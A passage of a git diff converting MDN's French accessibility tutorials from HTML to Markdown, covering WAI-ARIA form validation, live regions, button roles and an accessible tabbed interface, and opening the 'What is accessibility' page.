Windows](http://webaim.org/techniques/javascript/other#popups) by WebAIM). +- An [`aria-relevant`](https://www.w3.org/TR/wai-aria-1.1/#aria-relevant) value of `all` instructs the screenreader to read out the contents of the error list when any changes are made to it — i.e. when errors are added or removed. This is useful because the user will want to know what errors are left, not just what has been added or removed from the list. -<ul> - <li><code><a href="https://www.w3.org/TR/wai-aria-1.1/#alert">role="alert"</a></code> automatically turns the element it is applied to into a live region, so changes to it are read out; it also semantically identifies it as an alert message (important time/context sensitive information), and represents a better, more accessible way of delivering an alert to a user (modal dialogs like <code><a href="/fr/docs/Web/API/Window/alert">alert()</a></code> calls have a number of accessibility problems; see <a href="http://webaim.org/techniques/javascript/other#popups">Popup Windows</a> by WebAIM).</li> - <li>An <code><a href="https://www.w3.org/TR/wai-aria-1.1/#aria-relevant">aria-relevant</a></code> value of <code>all</code> instructs the screenreader to read out the contents of the error list when any changes are made to it — i.e. when errors are added or removed. This is useful because the user will want to know what errors are left, not just what has been added or removed from the list.</li> -</ul> +We could go further with our ARIA usage, and provide some more validation help. How about indicating whether fields are required in the first place, and what range the age should be? -<p>We could go further with our ARIA usage, and provide some more validation help. How about indicating whether fields are required in the first place, and what range the age should be?</p> - -<ol> - <li>At this point, take a copy of our <a href="https://github.com/mdn/learning-area/blob/master/accessibility/css/form-validation.html">form-validation.html</a> and <a href="https://github.com/mdn/learning-area/blob/master/accessibility/css/validation.js">validation.js</a> files, and save them in a local directory.</li> - <li>Open them both in a text editor and have a look at how the code works.</li> - <li>First of all, add a paragraph just above the opening <code><form></code> tag, like the one below, and mark both the form <code><label></code>s with an asterisk. This is normally how we mark required fields for sighted users. - <pre class="brush: html"><p>Fields marked with an asterisk (*) are required.</p></pre> - </li> - <li>This makes visual sense, but it isn't as easy to understand for screenreader users. Fortunately, WAI-ARIA provides the <code><a href="https://www.w3.org/TR/wai-aria-1.1/#aria-required">aria-required</a></code> attribute to give screenreaders hints that they should tell users that form inputs need to be filled in. Update the <code><input></code> elements like so: - <pre class="brush: html"><input type="text" name="name" id="name" aria-required="true"> - -<input type="number" name="age" id="age" aria-required="true"></pre> - </li> - <li>If you save the example now and test it with a screenreader, you should hear something like "Enter your name star, required, edit text".</li> - <li>It might also be useful if we give screenreader users and sighted users an idea of what the age value should be. This is often presented as a tooltip, or placeholder inside the form field perhaps. WAI-ARIA does include <code><a href="https://www.w3.org/TR/wai-aria-1.1/#aria-valuemin">aria-valuemin</a></code> and <code><a href="https://www.w3.org/TR/wai-aria-1.1/#aria-valuemax">aria-valuemax</a></code> properties to specify min and max values, but these currently don't seem very well supported; a better supported feature is the HTML5 <code>placeholder</code> attribute, which can contain a message that is shown in the input when no value is entered, and is read out by a number of screenreaders. Update your number input like this: - <pre class="brush: html"><input type="number" name="age" id="age" placeholder="Enter 1 to 150" aria-required="true"></pre> - </li> -</ol> - -<div class="note"> -<p><strong>Note :</strong> You can see the finished example live at <a href="http://mdn.github.io/learning-area/accessibility/aria/form-validation-updated.html">form-validation-updated.html</a>.</p> -</div> +1. At this point, take a copy of our [form-validation.html](https://github.com/mdn/learning-area/blob/master/accessibility/css/form-validation.html) and [validation.js](https://github.com/mdn/learning-area/blob/master/accessibility/css/validation.js) files, and save them in a local directory. +2. Open them both in a text editor and have a look at how the code works. +3. First of all, add a paragraph just above the opening `<form>` tag, like the one below, and mark both the form `<label>`s with an asterisk. This is normally how we mark required fields for sighted users. -<p>WAI-ARIA also enables some advanced form labelling techniques, beyond the classic {{htmlelement("label")}} element. We already talked about using the <code><a href="https://www.w3.org/TR/wai-aria-1.1/#aria-label">aria-label</a></code> property to provide a label where we don't want the label to be visible to sighted users (see the {{anch("Signposts/Landmarks")}} section, above). There are some other labelling techniques that use other properties such as <code><a href="https://www.w3.org/TR/wai-aria-1.1/#aria-labelledby">aria-labelledby</a></code> if you want to designate a non-<code><label></code> element as a label or label multiple form inputs with the same label, and <code><a href="https://www.w3.org/TR/wai-aria-1.1/#aria-describedby">aria-describedby</a></code>, if you want to associate other information with a form input and have it read out as well. See <a href="http://webaim.org/techniques/forms/advanced">WebAIM's Advanced Form Labeling article</a> for more details.</p> + ```html + <p>Fields marked with an asterisk (*) are required.</p> + ``` -<p>There are many other useful properties and states too, for indicating the status of form elements. For example, <code><a href="https://www.w3.org/TR/wai-aria-1.1/#aria-disabled">aria-disabled</a>="true"</code> can be used to indicate that a form field is disabled. Many browsers will just skip past disabled form fields, and they won't even be read out by screenreaders, but in some cases they will be perceived, so it is a good idea to include this attribute to let the screenreader know that a disabled input is in fact disabled.</p> +4. This makes visual sense, but it isn't as easy to understand for screenreader users. Fortunately, WAI-ARIA provides the [`aria-required`](https://www.w3.org/TR/wai-aria-1.1/#aria-required) attribute to give screenreaders hints that they should tell users that form inputs need to be filled in. Update the `<input>` elements like so: -<p>If the disabled state of an input is likely to change, then it is also a good idea to indicate when it happens, and what the result is. For example, in our <a href="http://mdn.github.io/learning-area/accessibility/aria/form-validation-checkbox-disabled.html">form-validation-checkbox-disabled.html</a> demo there is a checkbox that when checked, enables another form input to allow further information be entered. We've set up a hidden live region:</p> + ```html + <input type="text" name="name" id="name" aria-required="true"> -<pre class="brush: html"><p class="hidden-alert" aria-live="assertive"></p></pre> + <input type="number" name="age" id="age" aria-required="true"> + ``` -<p>which is hidden from view using absolute positioning. When this is checked/unchecked, we update the text inside the hidden live region to tell screenreader users what the result of checking this checkbox is, as well as updating the <code>aria-disabled</code> state, and some visual indicators too:</p> +5. If you save the example now and test it with a screenreader, you should hear something like "Enter your name star, required, edit text". +6. It might also be useful if we give screenreader users and sighted users an idea of what the age value should be. This is often presented as a tooltip, or placeholder inside the form field perhaps. WAI-ARIA does include [`aria-valuemin`](https://www.w3.org/TR/wai-aria-1.1/#aria-valuemin) and [`aria-valuemax`](https://www.w3.org/TR/wai-aria-1.1/#aria-valuemax) properties to specify min and max values, but these currently don't seem very well supported; a better supported feature is the HTML5 `placeholder` attribute, which can contain a message that is shown in the input when no value is entered, and is read out by a number of screenreaders. Update your number input like this: -<pre class="brush: js">function toggleMusician(bool) { + ```html + <input type="number" name="age" id="age" placeholder="Enter 1 to 150" aria-required="true"> + ``` + +> **Note :** You can see the finished example live at [form-validation-updated.html](http://mdn.github.io/learning-area/accessibility/aria/form-validation-updated.html). + +WAI-ARIA also enables some advanced form labelling techniques, beyond the classic {{htmlelement("label")}} element. We already talked about using the [`aria-label`](https://www.w3.org/TR/wai-aria-1.1/#aria-label) property to provide a label where we don't want the label to be visible to sighted users (see the {{anch("Signposts/Landmarks")}} section, above). There are some other labelling techniques that use other properties such as [`aria-labelledby`](https://www.w3.org/TR/wai-aria-1.1/#aria-labelledby) if you want to designate a non-`<label>` element as a label or label multiple form inputs with the same label, and [`aria-describedby`](https://www.w3.org/TR/wai-aria-1.1/#aria-describedby), if you want to associate other information with a form input and have it read out as well. See [WebAIM's Advanced Form Labeling article](http://webaim.org/techniques/forms/advanced) for more details. + +There are many other useful properties and states too, for indicating the status of form elements. For example, `aria-disabled="true"` can be used to indicate that a form field is disabled. Many browsers will just skip past disabled form fields, and they won't even be read out by screenreaders, but in some cases they will be perceived, so it is a good idea to include this attribute to let the screenreader know that a disabled input is in fact disabled. + +If the disabled state of an input is likely to change, then it is also a good idea to indicate when it happens, and what the result is. For example, in our [form-validation-checkbox-disabled.html](http://mdn.github.io/learning-area/accessibility/aria/form-validation-checkbox-disabled.html) demo there is a checkbox that when checked, enables another form input to allow further information be entered. We've set up a hidden live region: + +```html +<p class="hidden-alert" aria-live="assertive"></p> +``` + +which is hidden from view using absolute positioning. When this is checked/unchecked, we update the text inside the hidden live region to tell screenreader users what the result of checking this checkbox is, as well as updating the `aria-disabled` state, and some visual indicators too: + +```js +function toggleMusician(bool) { var instruItem = formItems[formItems.length-1]; if(bool) { instruItem.input.disabled = false; @@ -331,96 +334,87 @@ original_slug: Apprendre/a11y/WAI-ARIA_basics instruItem.input.removeAttribute('aria-label'); hiddenAlert.textContent = 'Instruments played field now disabled.'; } -}</pre> +} +``` -<h4 id="Describing_non-semantic_buttons_as_buttons">Describing non-semantic buttons as buttons</h4> +#### Describing non-semantic buttons as buttons -<p>A few times in this course already, we've mentioned the native accessibilty of (and the accessibility issues behind using other elements to fake) buttons, links, or form elements (see <a href="/fr/docs/Learn/Accessibility/HTML#UI_controls">UI controls</a> in the HTML accessibility article, and {{anch("Enhancing keyboard accessibility")}}, above). Basically, you can add keyboard accessibility back in without too much trouble in many cases, using <code>tabindex</code> and a bit of JavaScript.</p> +A few times in this course already, we've mentioned the native accessibilty of (and the accessibility issues behind using other elements to fake) buttons, links, or form elements (see [UI controls](/fr/docs/Learn/Accessibility/HTML#UI_controls) in the HTML accessibility article, and {{anch("Enhancing keyboard accessibility")}}, above). Basically, you can add keyboard accessibility back in without too much trouble in many cases, using `tabindex` and a bit of JavaScript. -<p>But what about screenreaders? They still won't see the elements as buttons. If we test our <a href="http://mdn.github.io/learning-area/tools-testing/cross-browser-testing/accessibility/fake-div-buttons.html">fake-div-buttons.html</a> example in a screenreader, our fake buttons will be reported using phrases like "Click me!, group", which is obviously confusing.</p> +But what about screenreaders? They still won't see the elements as buttons. If we test our [fake-div-buttons.html](http://mdn.github.io/learning-area/tools-testing/cross-browser-testing/accessibility/fake-div-buttons.html) example in a screenreader, our fake buttons will be reported using phrases like "Click me!, group", which is obviously confusing. -<p>We can fix this using a WAI-ARIA role. Make a local copy of <a href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/accessibility/fake-div-buttons.html">fake-div-buttons.html</a>, and add <code><a href="https://www.w3.org/TR/wai-aria-1.1/#button">role="button"</a></code> to each button <code><div></code>, for example:</p> +We can fix this using a WAI-ARIA role. Make a local copy of [fake-div-buttons.html](https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/accessibility/fake-div-buttons.html), and add [`role="button"`](https://www.w3.org/TR/wai-aria-1.1/#button) to each button `<div>`, for example: -<pre><div data-message="This is from the first button" tabindex="0" role="button">Click me!</div></pre> + <div data-message="This is from the first button" tabindex="0" role="button">Click me!</div> -<p>Now when you try this using a screenreader, you'll have buttons be reported using phrases like "Click me!, button" — much better.</p> +Now when you try this using a screenreader, you'll have buttons be reported using phrases like "Click me!, button" — much better. -<div class="note"> -<p><strong>Note :</strong> Don't forget however that using the correct semantic element where possible is always better. If you want to create a button, and can use a {{htmlelement("button")}} element, you should use a {{htmlelement("button")}} element!</p> -</div> +> **Note :** Don't forget however that using the correct semantic element where possible is always better. If you want to create a button, and can use a {{htmlelement("button")}} element, you should use a {{htmlelement("button")}} element! -<h4 id="Guiding_users_through_complex_widgets">Guiding users through complex widgets</h4> +#### Guiding users through complex widgets -<p>There are a whole host of other <a href="https://www.w3.org/TR/wai-aria-1.1/#role_definitions">roles</a> that can identify non-semantic element structures as common UI features that go beyond what's available in standard HTML, for example <code><a href="https://www.w3.org/TR/wai-aria-1.1/#combobox">combobox</a></code>, <code><a href="https://www.w3.org/TR/wai-aria-1.1/#slider">slider</a></code>, <code><a href="https://www.w3.org/TR/wai-aria-1.1/#tabpanel">tabpanel</a></code>, <code><a href="https://www.w3.org/TR/wai-aria-1.1/#tree">tree</a></code>. You can see a number of userful examples in the <a href="https://dequeuniversity.com/library/">Deque university code library</a>, to give you an idea of how such controls can be made accessible.</p> +There are a whole host of other [roles](https://www.w3.org/TR/wai-aria-1.1/#role_definitions) that can identify non-semantic element structures as common UI features that go beyond what's available in standard HTML, for example [`combobox`](https://www.w3.org/TR/wai-aria-1.1/#combobox), [`slider`](https://www.w3.org/TR/wai-aria-1.1/#slider), [`tabpanel`](https://www.w3.org/TR/wai-aria-1.1/#tabpanel), [`tree`](https://www.w3.org/TR/wai-aria-1.1/#tree). You can see a number of userful examples in the [Deque university code library](https://dequeuniversity.com/library/), to give you an idea of how such controls can be made accessible. -<p>Let's go through an example of our own. We'll return to our simple absolutely-positioned tabbed interface (see <a href="/fr/docs/Learn/Accessibility/CSS_and_JavaScript#Hiding_things">Hiding things</a> in our CSS and JavaScript accessibility article), which you can find at <a class="external external-icon" href="http://mdn.github.io/learning-area/css/css-layout/practical-positioning-examples/info-box.html">Tabbed info box example</a> (see <a class="external external-icon" href="https://github.com/mdn/learning-area/blob/master/css/css-layout/practical-positioning-examples/info-box.html">source code</a>).</p> +Let's go through an example of our own. We'll return to our simple absolutely-positioned tabbed interface (see [Hiding things](/fr/docs/Learn/Accessibility/CSS_and_JavaScript#Hiding_things) in our CSS and JavaScript accessibility article), which you can find at [Tabbed info box example](http://mdn.github.io/learning-area/css/css-layout/practical-positioning-examples/info-box.html) (see [source code](https://github.com/mdn/learning-area/blob/master/css/css-layout/practical-positioning-examples/info-box.html)). -<p>This example as-is works fine in terms of keyboard accessibility — you can happily tab between the different tabs and select them to show the tab contents. It is also fairly accessible too — you can scroll through the content and use the headings to navigate , even if you can't see what is happening on screen. It is however not that obvious what the content is — a screenreader currently reports the content as a list of links, and some content with three headings. It doesn't give you any idea of what the relationship is between the content. Giving the user more clues as to the structure of the content is always good.</p> +This example as-is works fine in terms of keyboard accessibility — you can happily tab between the different tabs and select them to show the tab contents. It is also fairly accessible too — you can scroll through the content and use the headings to navigate , even if you can't see what is happening on screen. It is however not that obvious what the content is — a screenreader currently reports the content as a list of links, and some content with three headings. It doesn't give you any idea of what the relationship is between the content. Giving the user more clues as to the structure of the content is always good. -<p>To improve things, we've created a new version of the example called <a href="https://github.com/mdn/learning-area/blob/master/accessibility/aria/aria-tabbed-info-box.html">aria-tabbed-info-box.html</a> (<a href="http://mdn.github.io/learning-area/accessibility/aria/aria-tabbed-info-box.html">see it running live</a>). We've updated the structure of the tabbed interface like so:</p> +To improve things, we've created a new version of the example called [aria-tabbed-info-box.html](https://github.com/mdn/learning-area/blob/master/accessibility/aria/aria-tabbed-info-box.html) ([see it running live](http://mdn.github.io/learning-area/accessibility/aria/aria-tabbed-info-box.html)). We've updated the structure of the tabbed interface like so: -<pre class="brush: html"><ul role="tablist"> - <li class="active" role="tab" aria-selected="true" aria-setsize="3" aria-posinset="1" tabindex="0">Tab 1</li> - <li role="tab" aria-selected="false" aria-setsize="3" aria-posinset="2" tabindex="0">Tab 2</li> - <li role="tab" aria-selected="false" aria-setsize="3" aria-posinset="3" tabindex="0">Tab 3</li> -</ul> -<div class="panels"> - <article class="active-panel" role="tabpanel" aria-hidden="false"> +```html +<ul role="tablist"> + <li class="active" role="tab" aria-selected="true" aria-setsize="3" aria-posinset="1" tabindex="0">Tab 1</li> + <li role="tab" aria-selected="false" aria-setsize="3" aria-posinset="2" tabindex="0">Tab 2</li> + <li role="tab" aria-selected="false" aria-setsize="3" aria-posinset="3" tabindex="0">Tab 3</li> +</ul> +<div class="panels"> + <article class="active-panel" role="tabpanel" aria-hidden="false"> ... - </article> - <article role="tabpanel" aria-hidden="true"> + </article> + <article role="tabpanel" aria-hidden="true"> ... - </article> - <article role="tabpanel" aria-hidden="true"> + </article> + <article role="tabpanel" aria-hidden="true"> ... - </article> -</div></pre> - -<div class="note"> -<p><strong>Note :</strong> The most striking change here is that we've removed the links that were originally present in the example, and just used the list items as the tabs — this was done because it makes things less confusing for screenreader users (the links don't really take you anywhere; they just change the view), and it allows the setsize/position in set features to work better — when these were put on the links, the browser kept reporting "1 of 1" all the time, not "1 of 3", "2 of 3", etc.</p> + </article> </div> +``` -<p>The new features are as follows:</p> +> **Note :** The most striking change here is that we've removed the links that were originally present in the example, and just used the list items as the tabs — this was done because it makes things less confusing for screenreader users (the links don't really take you anywhere; they just change the view), and it allows the setsize/position in set features to work better — when these were put on the links, the browser kept reporting "1 of 1" all the time, not "1 of 3", "2 of 3", etc. -<ul> - <li>New roles — <code><a href="https://www.w3.org/TR/wai-aria-1.1/#tablist">tablist</a></code>, <code><a href="https://www.w3.org/TR/wai-aria-1.1/#tab">tab</a></code>, <code><a href="https://www.w3.org/TR/wai-aria-1.1/#tabpanel">tabpanel</a></code> — these identify the important areas of the tabbed interface — the container for the tabs, the tabs themselves, and the corresponding tabpanels.</li> - <li><code><a href="https://www.w3.org/TR/wai-aria-1.1/#aria-selected">aria-selected</a></code> — Defines which tab is currently selected. As different tabs are selected by the user, the value of this attribute on the different tabs is updated via JavaScript.</li> - <li><code><a href="https://www.w3.org/TR/wai-aria-1.1/#aria-hidden">aria-hidden</a></code> — Hides an element from being read out by a screenreader. As different tabs are selected by the user, the value of this attribute on the different tabs is updated via JavaScript.</li> - <li><code>tabindex="0"</code> — As we've removed the links, we need to give the list items this attribute to provide it with keyboard focus.</li> - <li><code><a href="https://www.w3.org/TR/wai-aria-1.1/#aria-setsize">aria-setsize</a></code> — This property allows you to specify to screenreaders that an element is part of a series, and how many items the series has.</li> - <li><code><a href="https://www.w3.org/TR/wai-aria-1.1/#aria-posinset">aria-posinset</a></code> — This property allows you to specify what position in a series an element is in. Along with <code>aria-setsize</code>, it provides a screenreader with enough information to tell you that you are currently on item "1 of 3", etc. In many cases, browsers should be able to infer this information from the element hierarchy, but it certainly helps to provide more clues.</li> -</ul> +The new features are as follows: -<p>In our tests, this new structure did serve to improve things overall. The tabs are now recognised as tabs (e.g. "tab" is spoken by the screenreader), the selected tab is indicated by "selected" being read out with the tab name, and the screenreader also tells you which tab number you are currently on. In addition, because of the <code>aria-hidden</code> settings (only the non-hidden tab ever has <code>aria-hidden="false"</code> set), the non-hidden content is the only one you can navigate down to, meaning the selected content is easier to find.</p> +- New roles — [`tablist`](https://www.w3.org/TR/wai-aria-1.1/#tablist), [`tab`](https://www.w3.org/TR/wai-aria-1.1/#tab), [`tabpanel`](https://www.w3.org/TR/wai-aria-1.1/#tabpanel) — these identify the important areas of the tabbed interface — the container for the tabs, the tabs themselves, and the corresponding tabpanels. +- [`aria-selected`](https://www.w3.org/TR/wai-aria-1.1/#aria-selected) — Defines which tab is currently selected. As different tabs are selected by the user, the value of this attribute on the different tabs is updated via JavaScript. +- [`aria-hidden`](https://www.w3.org/TR/wai-aria-1.1/#aria-hidden) — Hides an element from being read out by a screenreader. As different tabs are selected by the user, the value of this attribute on the different tabs is updated via JavaScript. +- `tabindex="0"` — As we've removed the links, we need to give the list items this attribute to provide it with keyboard focus. +- [`aria-setsize`](https://www.w3.org/TR/wai-aria-1.1/#aria-setsize) — This property allows you to specify to screenreaders that an element is part of a series, and how many items the series has. +- [`aria-posinset`](https://www.w3.org/TR/wai-aria-1.1/#aria-posinset) — This property allows you to specify what position in a series an element is in. Along with `aria-setsize`, it provides a screenreader with enough information to tell you that you are currently on item "1 of 3", etc. In many cases, browsers should be able to infer this information from the element hierarchy, but it certainly helps to provide more clues. -<div class="note"> -<p><strong>Note :</strong> If there is anything you explicitly don't want screen readers to read out, you can give them the <code>aria-hidden="true"</code> attribute.</p> -</div> +In our tests, this new structure did serve to improve things overall. The tabs are now recognised as tabs (e.g. "tab" is spoken by the screenreader), the selected tab is indicated by "selected" being read out with the tab name, and the screenreader also tells you which tab number you are currently on. In addition, because of the `aria-hidden` settings (only the non-hidden tab ever has `aria-hidden="false"` set), the non-hidden content is the only one you can navigate down to, meaning the selected content is easier to find. -<h2 id="Summary">Summary</h2> +> **Note :** If there is anything you explicitly don't want screen readers to read out, you can give them the `aria-hidden="true"` attribute. -<p>This article has by no means covered all that's available in WAI-ARIA, but it should have given you enough information to understand how to use it, and know some of the most common patterns you will encounter that require it.</p> +## Summary -<h2 id="See_also">See also</h2> +This article has by no means covered all that's available in WAI-ARIA, but it should have given you enough information to understand how to use it, and know some of the most common patterns you will encounter that require it. -<ul> - <li><a href="https://www.w3.org/TR/wai-aria-1.1/#role_definitions">Definition of Roles</a> — ARIA roles reference.</li> - <li><a href="https://www.w3.org/TR/wai-aria-1.1/#state_prop_def">Definitions of States and Properties (all aria-* attributes)</a> — properties and states reference.</li> - <li><a href="https://dequeuniversity.com/library/">Deque university code library</a> — a library of really useful practical examples showing complex UI controls made accessible using WAI-ARIA features.</li> - <li><a href="http://w3c.github.io/aria-practices/">WAI-ARIA Authoring Practices</a> — very detailed design patterns from the W3C, explaining how to implement different types of complex UI control whilst making them accessible using WAI-ARIA features.</li> - <li><a href="https://www.w3.org/TR/html-aria/">ARIA in HTML</a> — A W3C spec that defines, for each HTML feature, what accessibility (ARIA) semantics that feature implicitly has set on it by the browser, and what WAI-ARIA features you may set on it if extra semantics are required.</li> -</ul> +## See also -<p>{{PreviousMenuNext("Learn/Accessibility/CSS_and_JavaScript","Learn/Accessibility/Multimedia", "Learn/Accessibility")}}</p> +- [Definition of Roles](https://www.w3.org/TR/wai-aria-1.1/#role_definitions) — ARIA roles reference. +- [Definitions of States and Properties (all aria-\* attributes)](https://www.w3.org/TR/wai-aria-1.1/#state_prop_def) — properties and states reference. +- [Deque university code library](https://dequeuniversity.com/library/) — a library of really useful practical examples showing complex UI controls made accessible using WAI-ARIA features. +- [WAI-ARIA Authoring Practices](http://w3c.github.io/aria-practices/) — very detailed design patterns from the W3C, explaining how to implement different types of complex UI control whilst making them accessible using WAI-ARIA features. +- [ARIA in HTML](https://www.w3.org/TR/html-aria/) — A W3C spec that defines, for each HTML feature, what accessibility (ARIA) semantics that feature implicitly has set on it by the browser, and what WAI-ARIA features you may set on it if extra semantics are required. -<h2 id="In_this_module">In this module</h2> +{{PreviousMenuNext("Learn/Accessibility/CSS_and_JavaScript","Learn/Accessibility/Multimedia", "Learn/Accessibility")}} -<ul> - <li><a href="/fr/docs/Apprendre/a11y/What_is_accessibility">Qu'est ce que l'accessibilité?</a></li> - <li><a href="/fr/docs/Apprendre/a11y/HTML#Building_keyboard_accessibility_back_in">HTML : une bonne base pour l'accessibilité</a></li> - <li><a href="/fr/docs/Apprendre/a11y/CSS_and_JavaScript">Meilleures pratiques d'accessibilité CSS et JavaScript</a></li> - <li><a href="/fr/docs/Learn/Accessibility/WAI-ARIA_basics">WAI-ARIA basics</a></li> - <li><a href="/fr/docs/Apprendre/a11y/Multimedia">Accessible multimedia</a></li> - <li><a href="/fr/docs/Apprendre/a11y/Mobile">Accessibilité mobile</a></li> - <li><a href="/fr/docs/Apprendre/a11y/Accessibility_troubleshooting">Évaluation: dépannage d'accessibilité</a></li> -</ul> +## In this module + +- [Qu'est ce que l'accessibilité?](/fr/docs/Apprendre/a11y/What_is_accessibility) +- [HTML : une bonne base pour l'accessibilité](/fr/docs/Apprendre/a11y/HTML#Building_keyboard_accessibility_back_in) +- [Meilleures pratiques d'accessibilité CSS et JavaScript](/fr/docs/Apprendre/a11y/CSS_and_JavaScript) +- [WAI-ARIA basics](/fr/docs/Learn/Accessibility/WAI-ARIA_basics) +- [Accessible multimedia](/fr/docs/Apprendre/a11y/Multimedia) +- [Accessibilité mobile](/fr/docs/Apprendre/a11y/Mobile) +- [Évaluation: dépannage d'accessibilité](/fr/docs/Apprendre/a11y/Accessibility_troubleshooting) diff --git a/files/fr/learn/accessibility/what_is_accessibility/index.md b/files/fr/learn/accessibility/what_is_accessibility/index.md index dc7376524e..a0bf7727ec 100644 --- a/files/fr/learn/accessibility/what_is_accessibility/index.md +++ b/files/fr/learn/accessibility/what_is_accessibility/index.md @@ -17,181 +17,163 @@ tags: translation_of: Learn/Accessibility/What_is_accessibility original_slug: Apprendre/a11y/What_is_accessibility --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}}{{NextMenu("Learn/Accessibility/HTML", "Learn/Accessibility")}} -<div>{{NextMenu("Learn/Accessibility/HTML", "Learn/Accessibility")}}</div> - -<p>Cet article présente un module général sur ce que l'accessibilité est actuellement — Cela comprend les groupes de personnes que l'on a besoin de considérer et pourquoi, quels outils ils utilisent afin d'intéragir avec les pages web et comment rendre accessible la partie de notre espace de travail web.</p> +Cet article présente un module général sur ce que l'accessibilité est actuellement — Cela comprend les groupes de personnes que l'on a besoin de considérer et pourquoi, quels outils ils utilisent afin d'intéragir avec les pages web et comment rendre accessible la partie de notre espace de travail web. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis:</th> - <td>Compétences de base en informatique, une compréhension basique de l'HTML et du CSS.</td> - </tr> - <tr> - <th scope="row">Objectif:</th> - <td>Se familiariser avec l'accessibilité en découvrant ce que c'est et en quoi cela vous affecte en tant que développeur.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis:</th> + <td> + Compétences de base en informatique, une compréhension basique de l'HTML + et du CSS. + </td> + </tr> + <tr> + <th scope="row">Objectif:</th> + <td> + Se familiariser avec l'accessibilité en découvrant ce que c'est et en + quoi cela vous affecte en tant que développeur. + </td> + </tr> + </tbody> </table> -<h2 id="Quest-ce_donc_que_laccessibilité">Qu'est-ce donc que l'accessibilité?</h2> +## Qu'est-ce donc que l'accessibilité? -<p>L'accessibilité est la mise à disposition de vos sites web au plus grand nombre. On pense souvent que cela s'adresse aux personnes ayant un handicap, mais cela concerne également d'autres groupes comme ceux utilisant des appareils mobiles ou ceux qui ont des connexions internet de faible débit.</p> +L'accessibilité est la mise à disposition de vos sites web au plus grand nombre. On pense souvent que cela s'adresse aux personnes ayant un handicap, mais cela concerne également d'autres groupes comme ceux utilisant des appareils mobiles ou ceux qui ont des connexions internet de faible débit. -<p>On peut aussi dire que l'accessibilité c'est traiter tout le monde de la même manière, et donner les mêmes opportunités à tous, peu importe leur handicaps ou les circonstances. De la même manière qu'il est injuste d'empêcher une personne d'accéder à un bâtiment parce qu'elle est en fauteuil roulant (les lieux publics sont souvent équipés de rampes d'accès ou d'ascenseur de nos jours), il est également injuste d'empêcher une personne d'accéder à un site web parce qu'elle a des troubles de la vue, ou qu'elle utilise un téléphone portable. Nous sommes tous différents, mais nous sommes aussi tous humains, ce qui nous donne les mêmes droits.</p> +On peut aussi dire que l'accessibilité c'est traiter tout le monde de la même manière, et donner les mêmes opportunités à tous, peu importe leur handicaps ou les circonstances. De la même manière qu'il est injuste d'empêcher une personne d'accéder à un bâtiment parce qu'elle est en fauteuil roulant (les lieux publics sont souvent équipés de rampes d'accès ou d'ascenseur de nos jours), il est également injuste d'empêcher une personne d'accéder à un site web parce qu'elle a des troubles de la vue, ou qu'elle utilise un téléphone portable. Nous sommes tous différents, mais nous sommes aussi tous humains, ce qui nous donne les mêmes droits. -<p>Rendre son site accessible est la bonne chose à faire, mais c'est aussi demandé par la loi de certains pays, et cela peut vous ouvrir des marchés conséquents pour qui vos services et vos produits ne seraient sinon pas accessibles.</p> +Rendre son site accessible est la bonne chose à faire, mais c'est aussi demandé par la loi de certains pays, et cela peut vous ouvrir des marchés conséquents pour qui vos services et vos produits ne seraient sinon pas accessibles. -<p>L'accessibilité et les bonnes pratiques qu'elle implique peuvent bénéficier à tous :</p> +L'accessibilité et les bonnes pratiques qu'elle implique peuvent bénéficier à tous : -<ul> - <li>Le HTML sémantique (qui rend votre site plus accessible) rend également votre site plus optimisé pour les moteurs de recherche, ce qui améliore le référencement de votre site.</li> - <li>Se préoccuper de l'accessibilité c'est faire preuve d'éthique et de morale, ce qui améliore votre image publique.</li> - <li>Des bonnes pratiques améliorent l'accessibilité rendent également votre site plus facilement utilisable par différents groupes comme les utilisateurs de téléphones portables, les personnes ayant un faible débit, etc. En fait, tout le monde peut tirer un bénéfice de ces améliorations.</li> - <li>A-t-on mentionné que c'est la loi dans certaines régions ?</li> -</ul> +- Le HTML sémantique (qui rend votre site plus accessible) rend également votre site plus optimisé pour les moteurs de recherche, ce qui améliore le référencement de votre site. +- Se préoccuper de l'accessibilité c'est faire preuve d'éthique et de morale, ce qui améliore votre image publique. +- Des bonnes pratiques améliorent l'accessibilité rendent également votre site plus facilement utilisable par différents groupes comme les utilisateurs de téléphones portables, les personnes ayant un faible débit, etc. En fait, tout le monde peut tirer un bénéfice de ces améliorations. +- A-t-on mentionné que c'est la loi dans certaines régions ? -<h2 id="Quel_genre_de_handicap_devons_nous_envisager">Quel genre de handicap devons nous envisager ?</h2> +## Quel genre de handicap devons nous envisager ? -<p>Les personnes ayant un handicap sont aussi variées que les personnes sans handicap, tout comme leurs handicaps. L'important ici est de ne pas penser seulement à votre propre ordinateur et à comment vous utilisez le web, mais de commencer à apprendre comment les autres l'utilisent — <em>vous n'êtes pas vos utilisateurs</em>. Les principaux types de handicap à considérer sont expliqués ci-dessous, avec les outils spéciaux que chacun utilise pour accéder aux contenus du web (connus sous le nom de <strong>technologies d'assistance</strong>).</p> +Les personnes ayant un handicap sont aussi variées que les personnes sans handicap, tout comme leurs handicaps. L'important ici est de ne pas penser seulement à votre propre ordinateur et à comment vous utilisez le web, mais de commencer à apprendre comment les autres l'utilisent — _vous n'êtes pas vos utilisateurs_. Les principaux types de handicap à considérer sont expliqués ci-dessous, avec les outils spéciaux que chacun utilise pour accéder aux contenus du web (connus sous le nom de **technologies d'assistance**). -<div class="note"> -<p><strong>Note :</strong> L'aide-mémoire <a href="http://www.who.int/mediacentre/factsheets/fs352/fr/">Handicap et santé</a> de l'Organisation Mondiale de la Santé indique que « Plus d’un milliard de personnes, c’est-à-dire environ 15% de la population mondiale, présentent une forme ou une autre de handicap » , et que « Entre 110 et 190 millions de personnes adultes ont des difficultés importantes sur le plan fonctionnel. »</p> -</div> +> **Note :** L'aide-mémoire [Handicap et santé](http://www.who.int/mediacentre/factsheets/fs352/fr/) de l'Organisation Mondiale de la Santé indique que « Plus d’un milliard de personnes, c’est-à-dire environ 15% de la population mondiale, présentent une forme ou une autre de handicap » , et que « Entre 110 et 190 millions de personnes adultes ont des difficultés importantes sur le plan fonctionnel. » -<h3 id="Les_personnes_ayant_des_troubles_de_la_vue">Les personnes ayant des troubles de la vue</h3> +### Les personnes ayant des troubles de la vue -<p>Cette catégorie comprend les personnes aveugles, malvoyantes, daltoniennes, etc. Beaucoup d'entre eux utilisent des agrandisseurs d'écran (soit de vraies loupes, soit la fonction loupe implémentée dans la plupart des 